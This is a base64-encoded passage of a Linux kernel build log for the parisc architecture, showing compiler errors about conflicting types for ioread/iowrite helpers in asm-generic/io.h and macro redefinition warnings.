aW9uIG9mICdpb3JlYWQzMicgd2FzIGhlcmUKICNkZWZpbmUgaW9yZWFkMzIgaW9yZWFkMzIK
ICAgICAgICAgICAgICAgICAgXgouL2luY2x1ZGUvYXNtLWdlbmVyaWMvaW8uaDo1ODI6MTk6
IG5vdGU6IGluIGV4cGFuc2lvbiBvZiBtYWNybyAnaW9yZWFkMzInCiBzdGF0aWMgaW5saW5l
IHUzMiBpb3JlYWQzMihjb25zdCB2b2xhdGlsZSB2b2lkIF9faW9tZW0gKmFkZHIpCiAgICAg
ICAgICAgICAgICAgICBefn5+fn5+fgouL2luY2x1ZGUvYXNtLWdlbmVyaWMvaW8uaDo2NDE6
MjA6IGVycm9yOiBjb25mbGljdGluZyB0eXBlcyBmb3IgJ2lvcmVhZDMyYmUnCiAjZGVmaW5l
IGlvcmVhZDMyYmUgaW9yZWFkMzJiZQogICAgICAgICAgICAgICAgICAgIF4KLi9pbmNsdWRl
L2FzbS1nZW5lcmljL2lvbWFwLmg6MzM6MjE6IG5vdGU6IGluIGV4cGFuc2lvbiBvZiBtYWNy
byAnaW9yZWFkMzJiZScKIGV4dGVybiB1bnNpZ25lZCBpbnQgaW9yZWFkMzJiZSh2b2lkIF9f
aW9tZW0gKik7CiAgICAgICAgICAgICAgICAgICAgIF5+fn5+fn5+fn4KLi9pbmNsdWRlL2Fz
bS1nZW5lcmljL2lvLmg6NjQxOjIwOiBub3RlOiBwcmV2aW91cyBkZWZpbml0aW9uIG9mICdp
b3JlYWQzMmJlJyB3YXMgaGVyZQogI2RlZmluZSBpb3JlYWQzMmJlIGlvcmVhZDMyYmUKICAg
ICAgICAgICAgICAgICAgICBeCi4vaW5jbHVkZS9hc20tZ2VuZXJpYy9pby5oOjY0MjoxOTog
bm90ZTogaW4gZXhwYW5zaW9uIG9mIG1hY3JvICdpb3JlYWQzMmJlJwogc3RhdGljIGlubGlu
ZSB1MzIgaW9yZWFkMzJiZShjb25zdCB2b2xhdGlsZSB2b2lkIF9faW9tZW0gKmFkZHIpCiAg
ICAgICAgICAgICAgICAgICBefn5+fn5+fn5+Ci4vaW5jbHVkZS9hc20tZ2VuZXJpYy9pby5o
OjU5MDoxODogZXJyb3I6IGNvbmZsaWN0aW5nIHR5cGVzIGZvciAnaW9yZWFkNjQnCiAjZGVm
aW5lIGlvcmVhZDY0IGlvcmVhZDY0CiAgICAgICAgICAgICAgICAgIF4KLi9pbmNsdWRlL2Fz
bS1nZW5lcmljL2lvbWFwLmg6MzU6MTI6IG5vdGU6IGluIGV4cGFuc2lvbiBvZiBtYWNybyAn
aW9yZWFkNjQnCiBleHRlcm4gdTY0IGlvcmVhZDY0KHZvaWQgX19pb21lbSAqKTsKICAgICAg
ICAgICAgXn5+fn5+fn4KLi9pbmNsdWRlL2FzbS1nZW5lcmljL2lvLmg6NTkwOjE4OiBub3Rl
OiBwcmV2aW91cyBkZWZpbml0aW9uIG9mICdpb3JlYWQ2NCcgd2FzIGhlcmUKICNkZWZpbmUg
aW9yZWFkNjQgaW9yZWFkNjQKICAgICAgICAgICAgICAgICAgXgouL2luY2x1ZGUvYXNtLWdl
bmVyaWMvaW8uaDo1OTE6MTk6IG5vdGU6IGluIGV4cGFuc2lvbiBvZiBtYWNybyAnaW9yZWFk
NjQnCiBzdGF0aWMgaW5saW5lIHU2NCBpb3JlYWQ2NChjb25zdCB2b2xhdGlsZSB2b2lkIF9f
aW9tZW0gKmFkZHIpCiAgICAgICAgICAgICAgICAgICBefn5+fn5+fgouL2luY2x1ZGUvYXNt
LWdlbmVyaWMvaW8uaDo2NTA6MjA6IGVycm9yOiBjb25mbGljdGluZyB0eXBlcyBmb3IgJ2lv
cmVhZDY0YmUnCiAjZGVmaW5lIGlvcmVhZDY0YmUgaW9yZWFkNjRiZQogICAgICAgICAgICAg
ICAgICAgIF4KLi9pbmNsdWRlL2FzbS1nZW5lcmljL2lvbWFwLmg6MzY6MTI6IG5vdGU6IGlu
IGV4cGFuc2lvbiBvZiBtYWNybyAnaW9yZWFkNjRiZScKIGV4dGVybiB1NjQgaW9yZWFkNjRi
ZSh2b2lkIF9faW9tZW0gKik7CiAgICAgICAgICAgIF5+fn5+fn5+fn4KLi9pbmNsdWRlL2Fz
bS1nZW5lcmljL2lvLmg6NjUwOjIwOiBub3RlOiBwcmV2aW91cyBkZWZpbml0aW9uIG9mICdp
b3JlYWQ2NGJlJyB3YXMgaGVyZQogI2RlZmluZSBpb3JlYWQ2NGJlIGlvcmVhZDY0YmUKICAg
ICAgICAgICAgICAgICAgICBeCi4vaW5jbHVkZS9hc20tZ2VuZXJpYy9pby5oOjY1MToxOTog
bm90ZTogaW4gZXhwYW5zaW9uIG9mIG1hY3JvICdpb3JlYWQ2NGJlJwogc3RhdGljIGlubGlu
ZSB1NjQgaW9yZWFkNjRiZShjb25zdCB2b2xhdGlsZSB2b2lkIF9faW9tZW0gKmFkZHIpCiAg
ICAgICAgICAgICAgICAgICBefn5+fn5+fn5+Ci4vaW5jbHVkZS9hc20tZ2VuZXJpYy9pby5o
OjU5OToxODogZXJyb3I6IGNvbmZsaWN0aW5nIHR5cGVzIGZvciAnaW93cml0ZTgnCiAjZGVm
aW5lIGlvd3JpdGU4IGlvd3JpdGU4CiAgICAgICAgICAgICAgICAgIF4KLi9pbmNsdWRlL2Fz
bS1nZW5lcmljL2lvbWFwLmg6Mzk6MTM6IG5vdGU6IGluIGV4cGFuc2lvbiBvZiBtYWNybyAn
aW93cml0ZTgnCiBleHRlcm4gdm9pZCBpb3dyaXRlOCh1OCwgdm9pZCBfX2lvbWVtICopOwog
ICAgICAgICAgICAgXn5+fn5+fn4KLi9pbmNsdWRlL2FzbS1nZW5lcmljL2lvLmg6NTk5OjE4
OiBub3RlOiBwcmV2aW91cyBkZWZpbml0aW9uIG9mICdpb3dyaXRlOCcgd2FzIGhlcmUKICNk
ZWZpbmUgaW93cml0ZTggaW93cml0ZTgKICAgICAgICAgICAgICAgICAgXgouL2luY2x1ZGUv
YXNtLWdlbmVyaWMvaW8uaDo2MDA6MjA6IG5vdGU6IGluIGV4cGFuc2lvbiBvZiBtYWNybyAn
aW93cml0ZTgnCiBzdGF0aWMgaW5saW5lIHZvaWQgaW93cml0ZTgodTggdmFsdWUsIHZvbGF0
aWxlIHZvaWQgX19pb21lbSAqYWRkcikKICAgICAgICAgICAgICAgICAgICBefn5+fn5+fgou
L2luY2x1ZGUvYXNtLWdlbmVyaWMvaW8uaDo2MDc6MTk6IGVycm9yOiBjb25mbGljdGluZyB0
eXBlcyBmb3IgJ2lvd3JpdGUxNicKICNkZWZpbmUgaW93cml0ZTE2IGlvd3JpdGUxNgogICAg
ICAgICAgICAgICAgICAgXgouL2luY2x1ZGUvYXNtLWdlbmVyaWMvaW9tYXAuaDo0MDoxMzog
bm90ZTogaW4gZXhwYW5zaW9uIG9mIG1hY3JvICdpb3dyaXRlMTYnCiBleHRlcm4gdm9pZCBp
b3dyaXRlMTYodTE2LCB2b2lkIF9faW9tZW0gKik7CiAgICAgICAgICAgICBefn5+fn5+fn4K
Li9pbmNsdWRlL2FzbS1nZW5lcmljL2lvLmg6NjA3OjE5OiBub3RlOiBwcmV2aW91cyBkZWZp
bml0aW9uIG9mICdpb3dyaXRlMTYnIHdhcyBoZXJlCiAjZGVmaW5lIGlvd3JpdGUxNiBpb3dy
aXRlMTYKICAgICAgICAgICAgICAgICAgIF4KLi9pbmNsdWRlL2FzbS1nZW5lcmljL2lvLmg6
NjA4OjIwOiBub3RlOiBpbiBleHBhbnNpb24gb2YgbWFjcm8gJ2lvd3JpdGUxNicKIHN0YXRp
YyBpbmxpbmUgdm9pZCBpb3dyaXRlMTYodTE2IHZhbHVlLCB2b2xhdGlsZSB2b2lkIF9faW9t
ZW0gKmFkZHIpCiAgICAgICAgICAgICAgICAgICAgXn5+fn5+fn5+Ci4vaW5jbHVkZS9hc20t
Z2VuZXJpYy9pby5oOjY1OToyMTogZXJyb3I6IGNvbmZsaWN0aW5nIHR5cGVzIGZvciAnaW93
cml0ZTE2YmUnCiAjZGVmaW5lIGlvd3JpdGUxNmJlIGlvd3JpdGUxNmJlCiAgICAgICAgICAg
ICAgICAgICAgIF4KLi9pbmNsdWRlL2FzbS1nZW5lcmljL2lvbWFwLmg6NDE6MTM6IG5vdGU6
IGluIGV4cGFuc2lvbiBvZiBtYWNybyAnaW93cml0ZTE2YmUnCiBleHRlcm4gdm9pZCBpb3dy
aXRlMTZiZSh1MTYsIHZvaWQgX19pb21lbSAqKTsKICAgICAgICAgICAgIF5+fn5+fn5+fn5+
Ci4vaW5jbHVkZS9hc20tZ2VuZXJpYy9pby5oOjY1OToyMTogbm90ZTogcHJldmlvdXMgZGVm
aW5pdGlvbiBvZiAnaW93cml0ZTE2YmUnIHdhcyBoZXJlCiAjZGVmaW5lIGlvd3JpdGUxNmJl
IGlvd3JpdGUxNmJlCiAgICAgICAgICAgICAgICAgICAgIF4KLi9pbmNsdWRlL2FzbS1nZW5l
cmljL2lvLmg6NjYwOjIwOiBub3RlOiBpbiBleHBhbnNpb24gb2YgbWFjcm8gJ2lvd3JpdGUx
NmJlJwogc3RhdGljIGlubGluZSB2b2lkIGlvd3JpdGUxNmJlKHUxNiB2YWx1ZSwgdm9pZCB2
b2xhdGlsZSBfX2lvbWVtICphZGRyKQogICAgICAgICAgICAgICAgICAgIF5+fn5+fn5+fn5+
Ci4vaW5jbHVkZS9hc20tZ2VuZXJpYy9pby5oOjYxNToxOTogZXJyb3I6IGNvbmZsaWN0aW5n
IHR5cGVzIGZvciAnaW93cml0ZTMyJwogI2RlZmluZSBpb3dyaXRlMzIgaW93cml0ZTMyCiAg
ICAgICAgICAgICAgICAgICBeCi4vaW5jbHVkZS9hc20tZ2VuZXJpYy9pb21hcC5oOjQyOjEz
OiBub3RlOiBpbiBleHBhbnNpb24gb2YgbWFjcm8gJ2lvd3JpdGUzMicKIGV4dGVybiB2b2lk
IGlvd3JpdGUzMih1MzIsIHZvaWQgX19pb21lbSAqKTsKICAgICAgICAgICAgIF5+fn5+fn5+
fgouL2luY2x1ZGUvYXNtLWdlbmVyaWMvaW8uaDo2MTU6MTk6IG5vdGU6IHByZXZpb3VzIGRl
ZmluaXRpb24gb2YgJ2lvd3JpdGUzMicgd2FzIGhlcmUKICNkZWZpbmUgaW93cml0ZTMyIGlv
d3JpdGUzMgogICAgICAgICAgICAgICAgICAgXgouL2luY2x1ZGUvYXNtLWdlbmVyaWMvaW8u
aDo2MTY6MjA6IG5vdGU6IGluIGV4cGFuc2lvbiBvZiBtYWNybyAnaW93cml0ZTMyJwogc3Rh
dGljIGlubGluZSB2b2lkIGlvd3JpdGUzMih1MzIgdmFsdWUsIHZvbGF0aWxlIHZvaWQgX19p
b21lbSAqYWRkcikKICAgICAgICAgICAgICAgICAgICBefn5+fn5+fn4KLi9pbmNsdWRlL2Fz
bS1nZW5lcmljL2lvLmg6NjY3OjIxOiBlcnJvcjogY29uZmxpY3RpbmcgdHlwZXMgZm9yICdp
b3dyaXRlMzJiZScKICNkZWZpbmUgaW93cml0ZTMyYmUgaW93cml0ZTMyYmUKICAgICAgICAg
ICAgICAgICAgICAgXgouL2luY2x1ZGUvYXNtLWdlbmVyaWMvaW9tYXAuaDo0MzoxMzogbm90
ZTogaW4gZXhwYW5zaW9uIG9mIG1hY3JvICdpb3dyaXRlMzJiZScKIGV4dGVybiB2b2lkIGlv
d3JpdGUzMmJlKHUzMiwgdm9pZCBfX2lvbWVtICopOwogICAgICAgICAgICAgXn5+fn5+fn5+
fn4KLi9pbmNsdWRlL2FzbS1nZW5lcmljL2lvLmg6NjY3OjIxOiBub3RlOiBwcmV2aW91cyBk
ZWZpbml0aW9uIG9mICdpb3dyaXRlMzJiZScgd2FzIGhlcmUKICNkZWZpbmUgaW93cml0ZTMy
YmUgaW93cml0ZTMyYmUKICAgICAgICAgICAgICAgICAgICAgXgouL2luY2x1ZGUvYXNtLWdl
bmVyaWMvaW8uaDo2Njg6MjA6IG5vdGU6IGluIGV4cGFuc2lvbiBvZiBtYWNybyAnaW93cml0
ZTMyYmUnCiBzdGF0aWMgaW5saW5lIHZvaWQgaW93cml0ZTMyYmUodTMyIHZhbHVlLCB2b2xh
dGlsZSB2b2lkIF9faW9tZW0gKmFkZHIpCiAgICAgICAgICAgICAgICAgICAgXn5+fn5+fn5+
fn4KLi9pbmNsdWRlL2FzbS1nZW5lcmljL2lvLmg6NjI0OjE5OiBlcnJvcjogY29uZmxpY3Rp
bmcgdHlwZXMgZm9yICdpb3dyaXRlNjQnCiAjZGVmaW5lIGlvd3JpdGU2NCBpb3dyaXRlNjQK
ICAgICAgICAgICAgICAgICAgIF4KLi9pbmNsdWRlL2FzbS1nZW5lcmljL2lvbWFwLmg6NDU6
MTM6IG5vdGU6IGluIGV4cGFuc2lvbiBvZiBtYWNybyAnaW93cml0ZTY0JwogZXh0ZXJuIHZv
aWQgaW93cml0ZTY0KHU2NCwgdm9pZCBfX2lvbWVtICopOwogICAgICAgICAgICAgXn5+fn5+
fn5+Ci4vaW5jbHVkZS9hc20tZ2VuZXJpYy9pby5oOjYyNDoxOTogbm90ZTogcHJldmlvdXMg
ZGVmaW5pdGlvbiBvZiAnaW93cml0ZTY0JyB3YXMgaGVyZQogI2RlZmluZSBpb3dyaXRlNjQg
aW93cml0ZTY0CiAgICAgICAgICAgICAgICAgICBeCi4vaW5jbHVkZS9hc20tZ2VuZXJpYy9p
by5oOjYyNToyMDogbm90ZTogaW4gZXhwYW5zaW9uIG9mIG1hY3JvICdpb3dyaXRlNjQnCiBz
dGF0aWMgaW5saW5lIHZvaWQgaW93cml0ZTY0KHU2NCB2YWx1ZSwgdm9sYXRpbGUgdm9pZCBf
X2lvbWVtICphZGRyKQogICAgICAgICAgICAgICAgICAgIF5+fn5+fn5+fgouL2luY2x1ZGUv
YXNtLWdlbmVyaWMvaW8uaDo2NzY6MjE6IGVycm9yOiBjb25mbGljdGluZyB0eXBlcyBmb3Ig
J2lvd3JpdGU2NGJlJwogI2RlZmluZSBpb3dyaXRlNjRiZSBpb3dyaXRlNjRiZQogICAgICAg
ICAgICAgICAgICAgICBeCi4vaW5jbHVkZS9hc20tZ2VuZXJpYy9pb21hcC5oOjQ2OjEzOiBu
b3RlOiBpbiBleHBhbnNpb24gb2YgbWFjcm8gJ2lvd3JpdGU2NGJlJwogZXh0ZXJuIHZvaWQg
aW93cml0ZTY0YmUodTY0LCB2b2lkIF9faW9tZW0gKik7CiAgICAgICAgICAgICBefn5+fn5+
fn5+fgouL2luY2x1ZGUvYXNtLWdlbmVyaWMvaW8uaDo2NzY6MjE6IG5vdGU6IHByZXZpb3Vz
IGRlZmluaXRpb24gb2YgJ2lvd3JpdGU2NGJlJyB3YXMgaGVyZQogI2RlZmluZSBpb3dyaXRl
NjRiZSBpb3dyaXRlNjRiZQogICAgICAgICAgICAgICAgICAgICBeCi4vaW5jbHVkZS9hc20t
Z2VuZXJpYy9pby5oOjY3NzoyMDogbm90ZTogaW4gZXhwYW5zaW9uIG9mIG1hY3JvICdpb3dy
aXRlNjRiZScKIHN0YXRpYyBpbmxpbmUgdm9pZCBpb3dyaXRlNjRiZSh1NjQgdmFsdWUsIHZv
bGF0aWxlIHZvaWQgX19pb21lbSAqYWRkcikKICAgICAgICAgICAgICAgICAgICBefn5+fn5+
fn5+fgouL2luY2x1ZGUvYXNtLWdlbmVyaWMvaW8uaDo2ODU6MjE6IGVycm9yOiBjb25mbGlj
dGluZyB0eXBlcyBmb3IgJ2lvcmVhZDhfcmVwJwogI2RlZmluZSBpb3JlYWQ4X3JlcCBpb3Jl
YWQ4X3JlcAogICAgICAgICAgICAgICAgICAgICBeCi4vaW5jbHVkZS9hc20tZ2VuZXJpYy9p
b21hcC5oOjYwOjEzOiBub3RlOiBpbiBleHBhbnNpb24gb2YgbWFjcm8gJ2lvcmVhZDhfcmVw
JwogZXh0ZXJuIHZvaWQgaW9yZWFkOF9yZXAodm9pZCBfX2lvbWVtICpwb3J0LCB2b2lkICpi
dWYsIHVuc2lnbmVkIGxvbmcgY291bnQpOwogICAgICAgICAgICAgXn5+fn5+fn5+fn4KLi9p
bmNsdWRlL2FzbS1nZW5lcmljL2lvLmg6Njg1OjIxOiBub3RlOiBwcmV2aW91cyBkZWZpbml0
aW9uIG9mICdpb3JlYWQ4X3JlcCcgd2FzIGhlcmUKICNkZWZpbmUgaW9yZWFkOF9yZXAgaW9y
ZWFkOF9yZXAKICAgICAgICAgICAgICAgICAgICAgXgouL2luY2x1ZGUvYXNtLWdlbmVyaWMv
aW8uaDo2ODY6MjA6IG5vdGU6IGluIGV4cGFuc2lvbiBvZiBtYWNybyAnaW9yZWFkOF9yZXAn
CiBzdGF0aWMgaW5saW5lIHZvaWQgaW9yZWFkOF9yZXAoY29uc3Qgdm9sYXRpbGUgdm9pZCBf
X2lvbWVtICphZGRyLCB2b2lkICpidWZmZXIsCiAgICAgICAgICAgICAgICAgICAgXn5+fn5+
fn5+fn4KLi9pbmNsdWRlL2FzbS1nZW5lcmljL2lvLmg6Njk0OjIyOiBlcnJvcjogY29uZmxp
Y3RpbmcgdHlwZXMgZm9yICdpb3JlYWQxNl9yZXAnCiAjZGVmaW5lIGlvcmVhZDE2X3JlcCBp
b3JlYWQxNl9yZXAKICAgICAgICAgICAgICAgICAgICAgIF4KLi9pbmNsdWRlL2FzbS1nZW5l
cmljL2lvbWFwLmg6NjE6MTM6IG5vdGU6IGluIGV4cGFuc2lvbiBvZiBtYWNybyAnaW9yZWFk
MTZfcmVwJwogZXh0ZXJuIHZvaWQgaW9yZWFkMTZfcmVwKHZvaWQgX19pb21lbSAqcG9ydCwg
dm9pZCAqYnVmLCB1bnNpZ25lZCBsb25nIGNvdW50KTsKICAgICAgICAgICAgIF5+fn5+fn5+
fn5+fgouL2luY2x1ZGUvYXNtLWdlbmVyaWMvaW8uaDo2OTQ6MjI6IG5vdGU6IHByZXZpb3Vz
IGRlZmluaXRpb24gb2YgJ2lvcmVhZDE2X3JlcCcgd2FzIGhlcmUKICNkZWZpbmUgaW9yZWFk
MTZfcmVwIGlvcmVhZDE2X3JlcAogICAgICAgICAgICAgICAgICAgICAgXgouL2luY2x1ZGUv
YXNtLWdlbmVyaWMvaW8uaDo2OTU6MjA6IG5vdGU6IGluIGV4cGFuc2lvbiBvZiBtYWNybyAn
aW9yZWFkMTZfcmVwJwogc3RhdGljIGlubGluZSB2b2lkIGlvcmVhZDE2X3JlcChjb25zdCB2
b2xhdGlsZSB2b2lkIF9faW9tZW0gKmFkZHIsCiAgICAgICAgICAgICAgICAgICAgXn5+fn5+
fn5+fn5+Ci4vaW5jbHVkZS9hc20tZ2VuZXJpYy9pby5oOjcwMzoyMjogZXJyb3I6IGNvbmZs
aWN0aW5nIHR5cGVzIGZvciAnaW9yZWFkMzJfcmVwJwogI2RlZmluZSBpb3JlYWQzMl9yZXAg
aW9yZWFkMzJfcmVwCiAgICAgICAgICAgICAgICAgICAgICBeCi4vaW5jbHVkZS9hc20tZ2Vu
ZXJpYy9pb21hcC5oOjYyOjEzOiBub3RlOiBpbiBleHBhbnNpb24gb2YgbWFjcm8gJ2lvcmVh
ZDMyX3JlcCcKIGV4dGVybiB2b2lkIGlvcmVhZDMyX3JlcCh2b2lkIF9faW9tZW0gKnBvcnQs
IHZvaWQgKmJ1ZiwgdW5zaWduZWQgbG9uZyBjb3VudCk7CiAgICAgICAgICAgICBefn5+fn5+
fn5+fn4KLi9pbmNsdWRlL2FzbS1nZW5lcmljL2lvLmg6NzAzOjIyOiBub3RlOiBwcmV2aW91
cyBkZWZpbml0aW9uIG9mICdpb3JlYWQzMl9yZXAnIHdhcyBoZXJlCiAjZGVmaW5lIGlvcmVh
ZDMyX3JlcCBpb3JlYWQzMl9yZXAKICAgICAgICAgICAgICAgICAgICAgIF4KLi9pbmNsdWRl
L2FzbS1nZW5lcmljL2lvLmg6NzA0OjIwOiBub3RlOiBpbiBleHBhbnNpb24gb2YgbWFjcm8g
J2lvcmVhZDMyX3JlcCcKIHN0YXRpYyBpbmxpbmUgdm9pZCBpb3JlYWQzMl9yZXAoY29uc3Qg
dm9sYXRpbGUgdm9pZCBfX2lvbWVtICphZGRyLAogICAgICAgICAgICAgICAgICAgIF5+fn5+
fn5+fn5+fgouL2luY2x1ZGUvYXNtLWdlbmVyaWMvaW8uaDo3MjM6MjI6IGVycm9yOiBjb25m
bGljdGluZyB0eXBlcyBmb3IgJ2lvd3JpdGU4X3JlcCcKICNkZWZpbmUgaW93cml0ZThfcmVw
IGlvd3JpdGU4X3JlcAogICAgICAgICAgICAgICAgICAgICAgXgouL2luY2x1ZGUvYXNtLWdl
bmVyaWMvaW9tYXAuaDo2NDoxMzogbm90ZTogaW4gZXhwYW5zaW9uIG9mIG1hY3JvICdpb3dy
aXRlOF9yZXAnCiBleHRlcm4gdm9pZCBpb3dyaXRlOF9yZXAodm9pZCBfX2lvbWVtICpwb3J0
LCBjb25zdCB2b2lkICpidWYsIHVuc2lnbmVkIGxvbmcgY291bnQpOwogICAgICAgICAgICAg
Xn5+fn5+fn5+fn5+Ci4vaW5jbHVkZS9hc20tZ2VuZXJpYy9pby5oOjcyMzoyMjogbm90ZTog
cHJldmlvdXMgZGVmaW5pdGlvbiBvZiAnaW93cml0ZThfcmVwJyB3YXMgaGVyZQogI2RlZmlu
ZSBpb3dyaXRlOF9yZXAgaW93cml0ZThfcmVwCiAgICAgICAgICAgICAgICAgICAgICBeCi4v
aW5jbHVkZS9hc20tZ2VuZXJpYy9pby5oOjcyNDoyMDogbm90ZTogaW4gZXhwYW5zaW9uIG9m
IG1hY3JvICdpb3dyaXRlOF9yZXAnCiBzdGF0aWMgaW5saW5lIHZvaWQgaW93cml0ZThfcmVw
KHZvbGF0aWxlIHZvaWQgX19pb21lbSAqYWRkciwKICAgICAgICAgICAgICAgICAgICBefn5+
fn5+fn5+fn4KLi9pbmNsdWRlL2FzbS1nZW5lcmljL2lvLmg6NzMzOjIzOiBlcnJvcjogY29u
ZmxpY3RpbmcgdHlwZXMgZm9yICdpb3dyaXRlMTZfcmVwJwogI2RlZmluZSBpb3dyaXRlMTZf
cmVwIGlvd3JpdGUxNl9yZXAKICAgICAgICAgICAgICAgICAgICAgICBeCi4vaW5jbHVkZS9h
c20tZ2VuZXJpYy9pb21hcC5oOjY1OjEzOiBub3RlOiBpbiBleHBhbnNpb24gb2YgbWFjcm8g
J2lvd3JpdGUxNl9yZXAnCiBleHRlcm4gdm9pZCBpb3dyaXRlMTZfcmVwKHZvaWQgX19pb21l
bSAqcG9ydCwgY29uc3Qgdm9pZCAqYnVmLCB1bnNpZ25lZCBsb25nIGNvdW50KTsKICAgICAg
ICAgICAgIF5+fn5+fn5+fn5+fn4KLi9pbmNsdWRlL2FzbS1nZW5lcmljL2lvLmg6NzMzOjIz
OiBub3RlOiBwcmV2aW91cyBkZWZpbml0aW9uIG9mICdpb3dyaXRlMTZfcmVwJyB3YXMgaGVy
ZQogI2RlZmluZSBpb3dyaXRlMTZfcmVwIGlvd3JpdGUxNl9yZXAKICAgICAgICAgICAgICAg
ICAgICAgICBeCi4vaW5jbHVkZS9hc20tZ2VuZXJpYy9pby5oOjczNDoyMDogbm90ZTogaW4g
ZXhwYW5zaW9uIG9mIG1hY3JvICdpb3dyaXRlMTZfcmVwJwogc3RhdGljIGlubGluZSB2b2lk
IGlvd3JpdGUxNl9yZXAodm9sYXRpbGUgdm9pZCBfX2lvbWVtICphZGRyLAogICAgICAgICAg
ICAgICAgICAgIF5+fn5+fn5+fn5+fn4KLi9pbmNsdWRlL2FzbS1nZW5lcmljL2lvLmg6NzQz
OjIzOiBlcnJvcjogY29uZmxpY3RpbmcgdHlwZXMgZm9yICdpb3dyaXRlMzJfcmVwJwogI2Rl
ZmluZSBpb3dyaXRlMzJfcmVwIGlvd3JpdGUzMl9yZXAKICAgICAgICAgICAgICAgICAgICAg
ICBeCi4vaW5jbHVkZS9hc20tZ2VuZXJpYy9pb21hcC5oOjY2OjEzOiBub3RlOiBpbiBleHBh
bnNpb24gb2YgbWFjcm8gJ2lvd3JpdGUzMl9yZXAnCiBleHRlcm4gdm9pZCBpb3dyaXRlMzJf
cmVwKHZvaWQgX19pb21lbSAqcG9ydCwgY29uc3Qgdm9pZCAqYnVmLCB1bnNpZ25lZCBsb25n
IGNvdW50KTsKICAgICAgICAgICAgIF5+fn5+fn5+fn5+fn4KLi9pbmNsdWRlL2FzbS1nZW5l
cmljL2lvLmg6NzQzOjIzOiBub3RlOiBwcmV2aW91cyBkZWZpbml0aW9uIG9mICdpb3dyaXRl
MzJfcmVwJyB3YXMgaGVyZQogI2RlZmluZSBpb3dyaXRlMzJfcmVwIGlvd3JpdGUzMl9yZXAK
ICAgICAgICAgICAgICAgICAgICAgICBeCi4vaW5jbHVkZS9hc20tZ2VuZXJpYy9pby5oOjc0
NDoyMDogbm90ZTogaW4gZXhwYW5zaW9uIG9mIG1hY3JvICdpb3dyaXRlMzJfcmVwJwogc3Rh
dGljIGlubGluZSB2b2lkIGlvd3JpdGUzMl9yZXAodm9sYXRpbGUgdm9pZCBfX2lvbWVtICph
ZGRyLAogICAgICAgICAgICAgICAgICAgIF5+fn5+fn5+fn5+fn4KSW4gZmlsZSBpbmNsdWRl
ZCBmcm9tIC4vaW5jbHVkZS9saW51eC9pby5oOjI1OjAsCiAgICAgICAgICAgICAgICAgZnJv
bSAuL2luY2x1ZGUvbGludXgvaXJxLmg6MjUsCiAgICAgICAgICAgICAgICAgZnJvbSAuL2Fy
Y2gvcGFyaXNjL2luY2x1ZGUvYXNtL2hhcmRpcnEuaDoxMywKICAgICAgICAgICAgICAgICBm
cm9tIC4vaW5jbHVkZS9saW51eC9oYXJkaXJxLmg6OSwKICAgICAgICAgICAgICAgICBmcm9t
IGFyY2gvcGFyaXNjL2tlcm5lbC9hc20tb2Zmc2V0cy5jOjM0OgouL2FyY2gvcGFyaXNjL2lu
Y2x1ZGUvYXNtL2lvLmg6MjY5OjA6IHdhcm5pbmc6ICJ4bGF0ZV9kZXZfbWVtX3B0ciIgcmVk
ZWZpbmVkCiAjZGVmaW5lIHhsYXRlX2Rldl9tZW1fcHRyKHApIF9fdmEocCkKIApJbiBmaWxl
IGluY2x1ZGVkIGZyb20gLi9hcmNoL3BhcmlzYy9pbmNsdWRlL2FzbS9pby5oOjI2MjowLAog
ICAgICAgICAgICAgICAgIGZyb20gLi9pbmNsdWRlL2xpbnV4L2lvLmg6MjUsCiAgICAgICAg
ICAgICAgICAgZnJvbSAuL2luY2x1ZGUvbGludXgvaXJxLmg6MjUsCiAgICAgICAgICAgICAg
ICAgZnJvbSAuL2FyY2gvcGFyaXNjL2luY2x1ZGUvYXNtL2hhcmRpcnEuaDoxMywKICAgICAg
ICAgICAgICAgICBmcm9tIC4vaW5jbHVkZS9saW51eC9oYXJkaXJxLmg6OSwKICAgICAgICAg
ICAgICAgICBmcm9tIGFyY2gvcGFyaXNjL2tlcm5lbC9hc20tb2Zmc2V0cy5jOjM0OgouL2lu
Y2x1ZGUvYXNtLWdlbmVyaWMvaW8uaDo5MzA6MDogbm90ZTogdGhpcyBpcyB0aGUgbG9jYXRp
b24gb2YgdGhlIHByZXZpb3VzIGRlZmluaXRpb24KICNkZWZpbmUgeGxhdGVfZGV2X21lbV9w
dHIgeGxhdGVfZGV2X21lbV9wdHIKIApJbiBmaWxlIGluY2x1ZGVkIGZyb20gLi9pbmNsdWRl
L2xpbnV4L2lvLmg6MjU6MCwKICAgICAgICAgICAgICAgICBmcm9tIC4vaW5jbHVkZS9saW51
eC9pcnEuaDoyNSwKICAgICAgICAgICAgICAgICBmcm9tIC4vYXJjaC9wYXJpc2MvaW5jbHVk
ZS9hc20vaGFyZGlycS5oOjEzLAogICAgICAgICAgICAgICAgIGZyb20gLi9pbmNsdWRlL2xp
bnV4L2hhcmRpcnEuaDo5LAogICAgICAgICAgICAgICAgIGZyb20gYXJjaC9wYXJpc2Mva2Vy
bmVsL2FzbS1vZmZzZXRzLmM6MzQ6Ci4vYXJjaC9wYXJpc2MvaW5jbHVkZS9hc20vaW8uaDoy
NzQ6MDogd2FybmluZzogInhsYXRlX2Rldl9rbWVtX3B0ciIgcmVkZWZpbmVkCiAjZGVmaW5l
IHhsYXRlX2Rldl9rbWVtX3B0cihwKSBwCiAKSW4gZmlsZSBpbmNsdWRlZCBmcm9tIC4vYXJj
aC9wYXJpc2MvaW5jbHVkZS9hc20vaW8uaDoyNjI6MCwKICAgICAgICAgICAgICAgICBmcm9t
IC4vaW5jbHVkZS9saW51eC9pby5oOjI1LAogICAgICAgICAgICAgICAgIGZyb20gLi9pbmNs
dWRlL2xpbnV4L2lycS5oOjI1LAogICAgICAgICAgICAgICAgIGZyb20gLi9hcmNoL3Bhcmlz
Yy9pbmNsdWRlL2FzbS9oYXJkaXJxLmg6MTMsCiAgICAgICAgICAgICAgICAgZnJvbSAuL2lu
Y2x1ZGUvbGludXgvaGFyZGlycS5oOjksCiAgICAgICAgICAgICAgICAgZnJvbSBhcmNoL3Bh
cmlzYy9rZXJuZWwvYXNtLW9mZnNldHMuYzozNDoKLi9pbmNsdWRlL2FzbS1nZW5lcmljL2lv
Lmg6OTIyOjA6IG5vdGU6IHRoaXMgaXMgdGhlIGxvY2F0aW9uIG9mIHRoZSBwcmV2aW91cyBk
ZWZpbml0aW9uCiAjZGVmaW5lIHhsYXRlX2Rldl9rbWVtX3B0ciB4bGF0ZV9kZXZfa21lbV9w
dHIKIAptYWtlWzFdOiAqKiogW0tidWlsZDo1ODogYXJjaC9wYXJpc2Mva2VybmVsL2FzbS1v
